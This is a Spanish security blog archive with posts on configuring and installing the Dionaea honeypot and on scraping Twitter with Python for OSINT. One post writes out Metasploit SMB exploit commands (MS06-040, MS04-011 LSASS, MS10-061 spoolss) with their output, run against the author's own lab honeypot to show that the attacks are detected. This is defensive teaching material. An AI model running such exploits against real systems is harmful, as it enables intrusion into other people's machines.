Archive

Archive for the ‘Networking’ Category

HoneyPots Parte 3 – Configuración y análisis de malware con Dionaea

abril 14, 2015 Deja un comentario

En el articulo anterior he hablado sobre el funcionamiento e instalación de Dionaea, un honeypot que es capaz de detectar payloads maliciosos y recolectar muestras de malware para su posterior análisis. Para la detección de shellcodes utiliza otra librería de la que ya se ha hablado anteriormente llamada LibEmu, la cual utiliza varias técnicas avanzadas para encontrar patrones maliciosos basadas en heurísticas del tipo GetPC. En este articulo, se continuará con la exploración de las funcionalidades incluidas en Dionaea y las opciones de configuración que se pueden utilizar para modificar el comportamiento del programa según las necesidades particulares del “blue team” o equipo defensor.

En primer lugar, el fichero de configuración del programa se encuentra ubicado en la siguiente ruta (suponiendo que el software se ha instalado en el directorio /opt/dionaea): “/opt/etc/dionaea/dionaea.conf”.

Cuando se trabaja con ficheros de configuración, algo que es de agradecer es que sean fáciles de entender y se encuentren debidamente separados por secciones. Esto es algo que tiene Dionaea y cuando se abre el fichero de configuración por defecto, rápidamente se pueden apreciar las siguientes secciones de configuración: “logging”, “processors”, “downloads”, “submit”, “bistreams”, “listen” y “modules”. A continuación, se explica brevemente para que sirve cada uno de estos bloques de configuración.

“logging”: Es una sección que puede ayudar a ver las trazas que realmente son importantes y que ayudan a detectar un ataque en curso. Configurar adecuadamente esta sección puede ser bastante conveniente, ya que Dionaea es un programa que genera muchísimas trazas de log que en la mayoría de los casos resultan abrumadoras y poco informativas. En esta sección es posible establecer diferentes niveles de trazas, tales como info, debug, warning, error y all. Por defecto, las trazas generadas por Dionaea se almacenan en el directorio “/opt/dionaea/var/log”.

“processors”: Permite definir los servicios que debe arrancar el programa, tales como SSH, MSSqld, FTP, etc. Además, permite definir una serie de detalles de configuración sobre el proceso de emulación de cada uno de dichos servicios, pudiendo establecer detalles como el número de sockets, número máximo de conexiones abiertas y otros detalles que permiten controlar el funcionamiento de LibEmu.

“downloads”: En esta sección se define el directorio en donde se deben guardar las muestras de malware recolectadas por el honeypot.

“bistreams”: En esta sección se define el directorio en donde se guardarán los registros de la interacción entre el atacante y el honeypot, lo que permitirá posteriormente replicar los ataques y depurar.

“submit”: Además guardar las muestras de malware recolectadas por el honeypot en la máquina local, también es posible transferir dichas muestras por http o ftp a un servidor externo. En esta sección se pueden definir los detalles de conexión a dichos servidores externos en el caso de que se quiera enviar el malware a un motor de análisis ubicado en una máquina remota, como por ejemplo, una que tenga Cuckoo en ejecución.

“listen”: Permite definir las interfaces de red que serán utilizadas por el honeypot para arrancar cada uno de los servicios definidos en la sección de “processors”. Existen 3 modos, el automático vincula todas las interfaces de red encontradas en el sistema, el manual permite definir cuales serán las interfaces de red utilizadas y finalmente, el tercer mecanismo permite definir una expresión regular para recuperar todas las interfaces de red que cumplan con el patrón definido.

“modules”: Finalmente, en esta sección se pueden definir detalles de configuración de los módulos que utiliza Dionaea. Algunos de los módulos más interesantes que soporta este honeypot son LibEmu, p0f, curl, nfq, python, fail2ban, entre otros.

Después de explicar las principales secciones de configuración del programa, ahora se procede a utilizar Dionaea y ver cómo funciona cuando un atacante intenta hacerse con el control de un servicio ejecutado en el honeypot.

Arrancando Dionaea y detectando posibles ataques

Una buena practica a la hora de arrancar Dionaea es utilizar un usuario del sistema con privilegios limitados, para ello se utilizan los interruptores “-u” y “-g”.

>./dionaea -L ‘*’ -u adastra -g users

 

Después de levantar Dionaea (en una máquina virtual preferiblemente), lo primero que se puede hacer es ejecutar un escaneo contra dicha máquina para ver qué puertos se encuentran abiertos.

>nmap -sT -n 192.168.1.98

Starting Nmap 6.40 ( http://nmap.org ) at 2015-03-15 23:46 CETNmap scan report for 192.168.1.98
Host is up (0.00012s latency).Not shown: 989 closed ports
PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

42/tcp open nameserver

80/tcp open http

135/tcp open msrpc

443/tcp open https

445/tcp open microsoft-ds

1433/tcp open ms-sql-s

3306/tcp open mysql

5060/tcp open sip

5061/tcp open sip-tls

 

Como se puede apreciar, aparecen servicios como MSSql, SIP, MySQL y SMB, todos ellos servicios que ha levantado automáticamente Dionaea.

Ahora bien, se puede utilizar metasploit framework para probar el comportamiento de Dionaea cuando un atacante intenta enviar peticiones maliciosas contra alguno de los servicios que se encuentran activos.

SMB es un buen protocolo para probar, ya que existen varios exploits disponibles para atacar este tipo de servicios.

>msfconsolemsf>use exploit/windows/smb/ms06_040_netapi
msf exploit(ms06_040_netapi) >set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms06_040_netapi) > set RHOST 192.168.1.98

RHOST => 192.168.1.98

msf exploit(ms06_040_netapi) > exploit

[*] Started bind handler

[*] Detected a Windows XP SP0/SP1 target

 

Posteriormente, en el fichero de logs de Dionaea se podrán ver varios registros que indican el intento de ataque. Dicho fichero por defecto se encuentra ubicado en “/opt/dionaea/var/log/dionaea.log”.

[15032015 23:52:00] connection connection.c:1745-debug: connection_stats_accounting_limit_exceeded stats 0x2b8d720[15032015 23:52:01] pcap pcap.c:180-debug: 192.168.1.98:4444 -> 192.168.1.98:55386[15032015 23:52:01] pcap pcap.c:190-debug: reject local:’192.168.1.98:4444′ remote:’192.168.1.98:55386′[15032015 23:52:01] incident incident.c:365-debug: reporting 0x2c66a20[15032015 23:52:01] incident incident.c:354-debug: incident 0x2c66a20 dionaea.connection.tcp.reject[15032015 23:52:01] incident incident.c:167-debug: con: (ptr) 0x2c67c20[15032015 23:52:01] python module.c:778-debug: traceable_ihandler_cb incident 0x2c66a20 ctx 0x2a134d0[15032015 23:52:01] logsql dionaea/logsql.py:637-info: reject connection from 192.168.1.98:55386 to 192.168.1.98:4444 (id=1005)

[15032015 23:52:01] connection connection.c:667-debug: connection_free_cb con 0x2c67c20

[15032015 23:52:01] connection connection.c:676-debug: AF 0 0 con->local.domain

 

Además de los logs, también se almacenan los flujos de entrada y salida en el directorio “/opt/dionaea/var/dionaea/bistreams”. Se puede también probar otros exploits que intenten comprometer el servicio SMB como es el caso del conocidio exploit “LSASS”.

msf exploit(ms06_040_netapi) > use exploit/windows/smb/ms04_011_lsass
msf exploit(ms04_011_lsass) > set RHOST 192.168.1.98
RHOST => 192.168.1.98
msf exploit(ms04_011_lsass) > exploit

[*] Started reverse handler on 192.168.1.98:4444

[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.98[\lsarpc]…

[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.98[\lsarpc]…

[*] Getting OS information…

[*] Trying to exploit Windows 5.1

 

Dionaea es capaz de detectar el ataque y registrarlo en el fichero de logs.

[16032015 00:16:41] connection connection.c:4349-debug: connection_unref con 0x2b8d320[16032015 00:16:41] incident incident.c:354-debug: incident 0x7fd24c001530 dionaea.shellcode.detected[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c001530 ctx 0x2a134d0[16032015 00:16:41] thread threads.c:52-debug: Thread fn 0x41d38d con 0x2b8d320 data 0x2c5a760 took 0.000018 ms[16032015 00:16:41] incident incident.c:212-debug: could not find key ‘con'[16032015 00:16:41] incident incident.c:365-debug: reporting 0x7fd24c0711d0[16032015 00:16:41] incident incident.c:354-debug: incident 0x7fd24c0711d0 dionaea.module.emu.profile[16032015 00:16:41] incident incident.c:167-debug: profile: (string) [

{

“call”: “LoadLibraryA”,

“args” : [

“ws2_32″

],

“return” : “0x71a10000″

}

]

[16032015 00:16:41] incident incident.c:167-debug: con: (ptr) 0x2b8d320

[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c0711d0 ctx 0x2a0cfc8

[16032015 00:16:41] emu dionaea/emu.py:45-debug: profiling

[16032015 00:16:41] emu dionaea/emu.py:53-info: profiledump [{‘return': ‘0x71a10000′, ‘args': [‘ws2_32′], ‘call': ‘LoadLibraryA’}]

[16032015 00:16:41] connection connection.c:1368-debug: connection_sustain_timeout_set 0x2b8d320 3.000000

[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c0711d0 ctx 0x2a134d0

[16032015 00:16:41] logsql dionaea/logsql.py:699-info: emu profile for attackid 1009

 

Puede ser muy complicado buscar y encontrar información útil sobre los incidentes reportados por el honeypot en los logs, por este motivo existe una base de datos SQLite que almacena todos los resultados relevantes. Para consultarla basta con ejecutar la utilidad “readlogsqltree”.

>python /opt/dionaea/bin/readlogsqltree /opt/dionaea/var/dionaea/logsql.sqlite

 

Los resultados que enseña la ejecución anterior son mucho más condensados y fáciles de leer, ya que identifica únicamente aquellos registros que Dionaea ha detectado como incidentes o intentos de ataque.

dcerpc request: uuid ‘3919286a-b10c-11d0-9ba8-00c04fd92ef5′ (DSSETUP) opnum 9 (DsRolerUpgradeDownlevelServer (MS04-11))profile: [{‘return': ‘0x71a10000′, ‘args': [‘ws2_32′], ‘call': ‘LoadLibraryA’}]2015-03-16 00:28:17connection 1010 SipSession udp connect 192.168.1.98:5060 -> /192.168.1.98:47685 (1010 None)Method:OPTIONSCall-ID:78617845@192.168.1.98User-Agent:LJtDLdXwaddr: <> ‘sip:nobody@192.168.1.98:None’

to: <> ‘sip:nobody@192.168.1.98:None’

contact: <> ‘sip:nobody@192.168.1.98:None’

from: <> ‘sip:LJtDLdXw@192.168.1.98:5060′

via:’UDP/192.168.1.98:5060′

 

Por otro lado, cuando un exploit transfiere algún tipo de fichero a la máquina atacada, el honeypot captura y almacena dicho fichero en el directorio que se ha definido en la sección de configuración “downloads”. Dichos ficheros pueden ser utilizados posteriormente para ser analizados con Cuckoo o con cualquier otra herramienta de análisis de malware.

msfcli exploit/windows/smb/ms10_061_spoolss PNAME=XPSPrinter RHOST=192.168.1.98 EXITFUNC=process LHOST=192.168.1.98 LPORT=4444 E
[*] Initializing modules…PNAME => XPSPrinter
RHOST => 192.168.1.98
EXITFUNC => process
LHOST => 192.168.1.98

LPORT => 4444

[*] Started reverse handler on 192.168.1.98:4444

[*] Trying target Windows Universal…

[*] Binding to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:192.168.1.98[\spoolss] …

[*] Bound to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:192.168.1.98[\spoolss] …

[*] Attempting to exploit MS10-061 via \\192.168.1.98\XPSPrinter …

[*] Printer handle: 0000000000000000000000000000000000000000

[*] Job started: 0x3

[*] Wrote 73802 bytes to %SystemRoot%\system32\jv3zNgf80OaKcs.exe

[*] Job started: 0x3

[*] Wrote 2237 bytes to %SystemRoot%\system32\wbem\mof\tOpOFGImh6sT6j.mof

[-] Exploit failed: NoMethodError undefined method `unpack’ for nil:NilClass

 

En este caso concreto, al utilizar el exploit SMB Spoolss, se transfiere un fichero malicioso al servicio atacado y Dionaea lo almacena en el directorio “/opt/dionaea/var/dionaea/binaries”

 

>ls -l var/dionaea/binaries/
total 152
-rw——- 2 adastra adastra 73802 mar 16 00:45 c9a0a0ccbd330b43d5196cd69b80159d-rw——- 2 adastra adastra 73802 mar 16 00:45 spoolss-d1fgrg.tmp
>file var/dionaea/binaries/c9a0a0ccbd330b43d5196cd69b80159d

var/dionaea/binaries/c9a0a0ccbd330b43d5196cd69b80159d: PE32 executable (GUI) Intel 80386, for MS Windows


>file var/dionaea/binaries/spoolss-d1fgrg.tmp

var/dionaea/binaries/spoolss-d1fgrg.tmp: PE32 executable (GUI) Intel 80386, for MS Windows

El programa descargado es un ejecutable PE para sistemas Windows, capturado y almacenado por Dionaea.

Saludos y Happy Hack!
Adastra.

Recolección de información con OSINT Parte 1 – Búsquedas en Twitter

abril 9, 2015 1 comentario

Este es el primer articulo de una serie en la que se hablará sobre Open Source Intelligence (OSINT) y cómo escribir scripts en Python que permitan recolectar información de forma automatizada.
OSINT o Inteligencia de fuentes abiertas, representa un proceso estructurado y metódico que permite la búsqueda, selección y categorización de información de dominio público en Internet. Dicho proceso suele ser automatizado por medio de herramientas que consultan y extraen información de foros, redes sociales, sitios web y buscadores en Internet. La cantidad de información que existe actualmente en este tipo de espacios no solamente es enorme, sino que crece constantemente cada día, por este motivo, en los últimos años se han vuelto tan populares algunos servicios en línea para acceder a información pública y han salido varias herramientas para ejecutar procesos de extracción de datos.
En este primer articulo se hablará sobre Twitter y las herramientas que se encuentran a nuestra disposición para extraer información.
Twitter es una red social que según fuentes oficiales, tiene cerca de 240 millones de usuarios y afortunadamente para muchos, cuenta con una API Rest que permite controlar una cuenta y realizar búsquedas muy especificas utilizando varios tipos de filtros. Inicialmente muchas de las funciones definidas en la API se podían invocar directamente sin necesidad de tener una cuenta, pero a partir de la versión 1.1, es necesario contar con una aplicación en Twitter vinculada a una cuenta y una serie de valores que corresponden a los tokens de autenticación Oauth. Sobre esto ya os he hablado en un vídeo de la serie de “Hacking con Python”, concretamente en “Hacking con Python Parte 16 – Twitter desde Python utilizando el protocolo OAuth” http://thehackerway.com/2014/05/20/hacking-con-python-parte-16-twitter-desde-python-utilizando-el-protocolo-oauth/

La API de Twitter cuenta con una lista bastante amplia de funciones que pueden ser invocadas desde cualquier cliente, ya sea un programa desarrollado a medida o incluso un navegador web, ya que al ser una API Rest, utiliza el protocolo HTTP como protocolo de transferencia de datos.
La documentación sobre la API de Twitter se encuentra disponible en el siguiente enlace: https://dev.twitter.com/rest/public
Además de la API Rest, también existen algunas otras librerías como por ejemplo la Streaming API, Twitter Cards y Twitter for websites. Más detalles sobre estas y otras librerías en el siguiente enlace:
https://dev.twitter.com/overview/documentation

Consumiendo la API Rest de Twitter con Python
Los servicios REST pueden ser utilizados con peticiones HTTP estándar y en cualquier caso, si el servicio lo requiere, las peticiones deben contener cabeceras concretas que permitan realizar procesos de autenticación y autorización. Partiendo de esto, existen varias posibilidades para crear un script en Python que pueda consumir un servicio Rest, por ejemplo utilizando el módulo “urllib” incluido directamente en el lenguaje u otras librerías escritas por terceros como es el caso de “urllib3” o “requests”. Todas son alternativas validas, sin embargo, un desarrollador debe intentar no reinventar la rueda y verificar si existen soluciones para un problema e intentar aprovecharlas. En este caso concreto, existen varias librerías que permiten utilizar una cuenta existente en Twitter y consumir todos los servicios disponibles en la API Rest. Dos de las más populares son Tweepy (https://github.com/tweepy/tweepy) y Python-Twitter (https://github.com/bear/python-twitter). Ambas son librerías que cumplen bastante bien con su cometido, sin embargo en este articulo nos centraremos especialmente en el uso de Python-Twitter.
Antes de continuar, es necesario crear una aplicación en Twitter que se encuentre vinculada con una cuenta valida, para ello el lector deberá dirigirse al siguiente enlace: https://apps.twitter.com/. Después de crear su aplicación, debe tomar nota de los siguientes campos:
– Consumer API (API KEY)
– Consumer Secret (API Secret)
– Access Token
– Access Token Secret.
Los cuatro valores saldrán en la pantalla de gestión de aplicaciones de Twitter y en el caso concreto de los campos “Access Token” y “Access Token Secret” se crearán automáticamente pulsando sobre el botón “create my token access”.
Después de tener los valores de autenticación necesarios correspondientes a la aplicación creada anteriormente, el siguiente paso consiste en utilizar la librería para consumir algunos de los servicios REST disponibles en la API de Twitter. Para ello, el primer paso consiste en crear un objeto del tipo “Api”, tal como se enseña a continuación.

import twitter
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")

Los argumentos recibidos por el constructor de la clase Api deben coincidir con los valores de autenticación de la aplicación. El nombre de cada uno de los parámetros define claramente cual debe ser su valor.
Si los valores de autenticación son correctos, la instancia de la clase Api contendrá todos los métodos necesarios para consumir los servicios Rest de Twitter. Para conocer detalladamente dichos métodos, se recomienda echarle un vistazo a la clase: https://github.com/bear/python-twitter/blob/master/twitter/api.py
A partir de aquí, se pueden crear scripts que permitan extraer información de interes, como por ejemplo, sacar un listado de personas que siguen y no siguen a la cuenta vinculada a la aplicación.

import twitter
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
accountFriends = [account .name for account in apiTwitter.GetFriends() ]
accountFollowers = [account .name for account in apiTwitter.GetFollowers()]

Por medio de los métodos “GetFriends” y “GetFollowers”, se ha podido extraer un listado del nombre de las cuentas a las que siguen a la cuenta vinculada a la aplicación y las que no.
El siguiente paso puede ser extraer un listado de aquellas cuentas que el usuario en cuestión sigue y que no le siguen a él, así como también aquellas cuentas que el usuario no sigue pero si que le siguen a él.

import twitter
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
accountFriends = [account .name for account in apiTwitter.GetFriends() ]
accountFollowers = [account .name for account in apiTwitter.GetFollowers()]

notFriendButFollowingMe = [account for account in accountFollowers if account not in accountFriends]
friendButNotFollowingMe = [ account for account in accountFriends if account not in accountFollowers] 

Este tipo de consultas son muy similares a las que aplican servicios como el de http://justunfollow.com/ sin necesidad de darle privilegios a un servicio externo sobre tu cuenta de Twitter.
Este tipo de operaciones son básicas para la gestión de una cuenta en Twitter, pero no se queda ahí, existen varios métodos que permiten acceder a servicios de la API de Twitter para realizar búsquedas en la base de datos de Twitter.
EL siguiente ejemplo, se encarga de extraer los 15 primeros tweets que coincidan con el hashtag “#python”.

import twitter 

apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
query = apiTwitter.GetSearch("#python")
for result in query:
    print "Tweet: %s " %(result.text)
    print "Creation date: %s " %(result.created_at)
    print "Favs count: %d" %(result.favorite_count)
    print "Language: %s" %(result.lang)
    print "Retweets count: %d" %(result.retweet_count)
    print "Account: %s" %( result.user.screen_name )
    print "\n"

Tras ejecutar el script anterior, los resultados que se imprimen por pantalla se ven claramente en la siguiente imagen.

twitter1

Se puede ver el mensaje, la fecha de creación, número de favoritos, lenguaje, número de retweets y la cuenta del propietario del tweet.
Como mencionaba anteriormente, el valor por defecto de la búsqueda son 15 tweets, tal como se puede apreciar en la documentación relacionada con el servicio “SEARCH” en el siguiente enlace: https://dev.twitter.com/rest/reference/get/search/tweets Sin embargo dicho valor puede modificarse desde la función “GetSearch” del objeto “API”. La siguiente es la estructura del método en cuestión y como puede verse, permite cambiar el valor por defecto de todos los parámetros que admite el servicio REST.

  def GetSearch(self,
                term=None,
                geocode=None,
                since_id=None,
                max_id=None,
                until=None,
                count=15,
                lang=None,
                locale=None,
                result_type="mixed",
                include_entities=None):'

Ahora bien, lo más común en un proceso de OSINT es almacenar dicha información de forma persistente, como una base de datos. En este caso y para mantener la simplicidad del ejemplo, se utilizará una base de datos SQLite, la cual únicamente contendrá una tabla con los tweets. También es necesario aclarar, que en procesos recolección con un volumen de datos alto, lo mejor es utilizar un motor de bases datos relacional (RDBMS) como PostgreSQL, MySQL, Oracle, DB2, etc. Sin embargo, otra solución que últimamente se está imponiendo el uso de soluciones BigData, como es el caso de la implementación Hadoop de Apache. Esto será algo que se tratará en mayor detalle en un próximo articulo.

import twitter
import sqlite3
connection = sqlite3.connect('db.sqlite3')
cursor = connection.cursor()
connection.execute("create table if not exists  TwitterMessages(id integer primary key autoincrement, message varchar(140), account varchar(20),favs integer,retweets integer,langTweet varchar(5), dateMessages varchar (30) );")
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
query = apiTwitter.GetSearch("#python", count=200)
insert = "insert into TwitterMessages(message, dateMessages, favs, langTweet, retweets, account) values(?,?,?,?,?,?)"
for result in query:
    cursor.execute(insert, (result.text, result.created_at, result.favorite_count, result.lang, result.retweet_count, result.user.screen_name))
connection.commit()

Utilizando la API de Python-Twitter se ha podido recuperar un listado de 200 tweets con el hashtag “#python” y se han almacenado en una base de datos SQLite. Se trata de un ejemplo simple, pero que demuestra la simplicidad con la que se pueden extraer datos de sitios públicos como Twitter.

Un saludo y Happy Hack!
Adastra.

HoneyPots Parte 2 – Introducción a Dionaea

marzo 26, 2015 Deja un comentario

Dionaea es un honeypot realmente interesante, ya que su principal objetivo es la captura y análisis de muestras de malware. Es capaz de levantar varios tipos de servicios y esperar a que los atacantes intenten hacerse con el control de dicho servicio por medio de peticiones maliciosas y el envío de payloads. Dionaea utiliza la librería libemu para la detección de shellcodes y tal como se ha mencionado en un articulo anterior sobre dicha librería, se utilizan heurísticas GetPC/GetEIP para determinar si un payload determinado es malicioso y en algunos casos, ejecutarlo en un entorno controlado de ser necesario.

Una instancia de Dionaea puede levar varios tipos de servicios, entre los que destacan HTTP, FTP, TFTP, SMB, entre otros. Cada uno de estos servicios se encuentra especialmente preparado para captar la atención de un atacante y que intenté enviar una muestra de malware, ya que al final de cuentas, es el objetivo de este honeypot.

El funcionamiento general de Dionaea se resume de una forma muy bien explicada en el sitio web oficial del proyecto (http://dionaea.carnivore.it/) sin embargo, también intentaré explicarlo de la mejor forma que pueda en los siguientes párrafos.

Antes que nada, este honeypot sigue un “workflow” bastante simple en el que se definen cada una de las fases de captura, detección, análisis y posterior categorización de muestras de malware, dichas fases se resumen brevemente a continuación:

Conectividad y protocolos soportados por Dionaea

Una de las principales características de este honeypot, es que soporta rutinas no bloqueantes, lo que mejora considerablemente el desempeño general del sistema y permite ejecutar múltiples operaciones de escritura y lectura sobre uno o varios sockets sin necesidad de esperar una respuesta por parte del receptor. Estas características en Dionaea son implementadas utilizando Python y tal como os comentaba en algún post anterior, para crear “corutinas” se puede utilizar el módulo asyncio que ya viene incluido en a partir versión 3.x de Python, así como también otros módulos como Twisted o Tornado que sirven básicamente para lo mismo. Dionaea en este caso utiliza el módulo asyncio y además, también utiliza las librerías libudns y libev para peticiones DNS no bloqueantes y recibir notificaciones sobre diferentes tipos de eventos en el entorno de red respectivamente.

Por otro lado, tal como se puede apreciar también en la documentación, los protocolos soportados por Dionaea son implementaciones propias del honeypot y en algunos casos, como por ejemplo para el servicio SMB, se implementan completamente en Python.

 

Intentos de explotación y detección del malware

Cuando un atacante comienza a comprobar que el supuesto servicio puede ser vulnerable, lo más probable es que comience a atacarlo por medio de peticiones maliciosas y el envío de payloads que puedan “reventar” el proceso remoto. En este caso, el proceso de perfilado es realizado por Libemu registrando todas las invocaciones a las funciones del sistema con sus correspondientes argumentos, es decir, haciendo un “hooking” de cada una de las funciones definidas en el programa. No obstante, existen muchos shellcodes que son “multi-stage”, los cuales ejecutan una rutina de código simple que únicamente se encarga de descargar de un sitio remoto otro(s) shelcode(s). En este caso concreto, únicamente registrando las invocaciones a las funciones del sistema no seria suficiente para perfilar el programa y por este motivo, Dionaea también permite la ejecución del shellcode con el fin de determinar cuál es el objetivo del programa. Evidentemente, para esto muy posiblemente será necesario permitir que el shellcode realice conexiones de red, por este motivo es muy recomendado ejecutar el honeypot en una máquina virtual y de ser posible, aislada del segmento de red interno.

Finalmente, cuando el shellcode ha sido perfilado tras el registro de las funciones invocadas y/o las conexiones de red que se han llevado a cabo tras la ejecución del programa malicioso, Dionaea es capaz de determinar la intención del programa y categorizarlo. Las categorías que maneja Dionaea para clasificar muestras de malware son: Consolas bind y reversas, programas que ejecutan la función WinExec, programas que utilizan la función URLDowloadToFile y payloads multi-staged.

 

Registro y sistema de incidentes

Finalmente el honeypot procede a guardar una copia del shellcode y a registrar cada una de las acciones que ha realizado el programa para posterior análisis. Por otro lado, también cuenta con un sistema de incidentes que permite ver rápidamente las conclusiones más relevantes sobre el programa analizado, sin necesidad de navegar por enormes ficheros de log en busca de dichos resultados.

Instalación de Dionaea

Cuando se le echa un vistazo al proceso de instalación explicado en la página web de Dionaea, muy probablemente lo primero que piensa más de uno es “esto no lo instala ni dios”, pero la realidad es que el proceso es bastante simple, siempre y cuando se sigan todos los pasos explicados y se cumpla con todas las dependencias exigidas. Algunas de dichas dependencias casi seguro ya se encuentran en el sistema mucho antes de comenzar con la instalación, tales como libcurl o LibEmu si has seguido el articulo anterior, pero la mayoría deben instalarse manualmente desde el código fuente de cada una de las dependencias.

Como regla general, es mejor seguir cada uno de los pasos descritos en el siguiente enlace: http://dionaea.carnivore.it/#compiling Además, tener en cuenta que el “prefijo” (opción prefix del ejecutable “configure”) debe apuntar al directorio “/opt/dionaea” por lo tanto dicho directorio debe ser accesible para el usuario con el que se realice el proceso de instalación. Una recomendación que lo permitirá instalar rápidamente, consiste en descargar y desempaquetar todas las librerías en el directorio “/opt” y ejecutar la construcción (configure), compilación (make) e instalación (make install).
Después de instalar todas las dependencias, es necesario descargar el proyecto desde el GitHub y para ello, también se puede ubicar en el directorio “/opt”, pero asignando un nombre distinto al directorio de salida, ya que “/opt/dionaea” ya existe y contiene todas las librerías y dependencias que se han ido instalando. Se puede ejecutar algo como esto:

git clone git://git.carnivore.it/dionaea.git
			dionaea-git

 

Posteriormente, desde el directorio “/opt/dionaea-git” se puede ejecutar el mismo procedimiento de instalación descrito en la página.
En mi caso concreto, no he tenido ningún problema instalando Dionaea en sistemas Debian Squeeze y Wheezy, sin embargo, en el caso de Ubuntu, en la versión 14.04 hay un problema con el enlazado de la librería “libcrypto” dando un error similar al siguiente cuando se ejecuta el comando “make”.

 

/usr/bin/ld: note: ‘X509_gmtime_adj’ is defined in DSO /lib/libcrypto.so.10 so try adding it to the linker command line

/lib/libcrypto.so.1.0.0: could not read symbols: Invalid operation

 

En tal caso es necesario realizar el enlace de dicha librería de forma manual. Para ello, es necesario dirigirse al directorio “/opt/dionaea-git/src” y ejecutar la utilidad “libtool” para enlazar a la librería “libcrypto.so”

 

../libtool –tag=CC –mode=link gcc -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -I/opt/dionaea/include/ -I../include -I .. -fno-strict-aliasing -std=c99 -D_GNU_SOURCE -D_GNU_SOURCE -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -Wall -Werror -Wstrict-prototypes -g -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -pthread -Wl,–export-dynamic -pthread -o dionaea dionaea-dionaea.o dionaea-dns.o dionaea-refcount.o dionaea-node_info.o dionaea-util.o dionaea-connection.o dionaea-modules.o dionaea-pchild.o dionaea-log.o dionaea-signals.o dionaea-incident.o dionaea-threads.o dionaea-bistream.o dionaea-processor.o -L/opt/dionaea/lib /opt/dionaea/lib/libev.so -lm -lgthread-2.0 -lgmodule-2.0 -lrt -lglib-2.0 -L/opt/dionaea/lib/ /opt/dionaea/lib/liblcfg.so -L/usr/local/lib -lssl -ludns -pthread -Wl,-rpath -Wl,/opt/dionaea/lib -Wl,-rpath -Wl,/opt/dionaea/lib /lib/x86_64-linux-gnu/libcrypto.so.1.0.0

 

Notar que ha sido necesario especificar la ubicación de la librería y en este caso concreto, se encuentra en “/lib/x86_64-linux-gnu/libcrypto.so.1.0.0” pero evidentemente puede cambiar un poco dependiendo del sistema y de la arquitectura utilizada.

Después de ejecutar los comandos de compilación e instalación en “dionaea-git”, se generará un ejecutable con nombre “dionaea” junto con otras utilidades en el directorio “/opt/dionaea/bin”.

Para comprobar que la instalación ha sido correcta y que se puede levantar el honeypot normalmente, se puede ejecutar la utilidad “/opt/dionaea/bin/dionaea” de la siguiente forma.

> ./dionaea -l all,-debug

 

Se podrán ver varias trazas relacionadas con el arranque de cada uno de los servicios del honeypot, pero tal como se puede ver en el listado de interruptores de la herramienta, se trata de un software que es altamente configurable y con el que se pueden crear soluciones defensivas y de alerta temprana muy interesantes.

>./dionaea -H

Dionaea Version 0.1.0

Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2

Started on Galilei running Linux/x86_64 release 3.13.0-46-generic

Dionaea Version 0.1.0

Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2

Started on Galilei running Linux/x86_64 release 3.13.0-46-generic

-c, –config=FILE use FILE as configuration file

Default value/behaviour: /opt/dionaea/etc/dionaea.conf

-D, –daemonize run as daemon

-g, –group=GROUP switch to GROUP after startup (use with -u)

Default value/behaviour: keep current group

-h, –help display help

-H, –large-help display help with default values

-l, –log-levels=WHAT which levels to log, valid values all, debug, info, message, warning, critical, error, combine using ‘,’, exclude with – prefix

-L, –log-domains=WHAT which domains use * and ? wildcards, combine using ‘,’, exclude using –

-u, –user=USER switch to USER after startup

Default value/behaviour: keep current user

-p, –pid-file=FILE write pid to file

-r, –chroot=DIR chroot to DIR after startup, warning: chrooting causes problems with logsql/sqlite

Default value/behaviour: don’t chroot

-V, –version show version

Default value/behaviour:

-w, –workingdir=DIR set the process’ working dir to DIR

Default value/behaviour: /opt/dionaea

examples:

# dionaea -l all,-debug -L ‘*’

# dionaea -l all,-debug -L ‘con*,py*’

# dionaea -u nobody -g nogroup -w /opt/dionaea -p /opt/dionaea/var/run/dionaea.pid

En este corto articulo solamente se han visto las principales características de Dionaea, pero aun no se ha visto en ejecución utilizando algunos de los interruptores soportados por la herramienta y con opciones de configuración personalizadas en el fichero “dionanea.conf”. Esto es lo realmente interesante y lo explicaré en el próximo articulo que publicaré en este blog.

Saludos y Happy Hack!
Adastra.

Crackeando WPA2 con un Half-Handshake

marzo 10, 2015 Deja un comentario

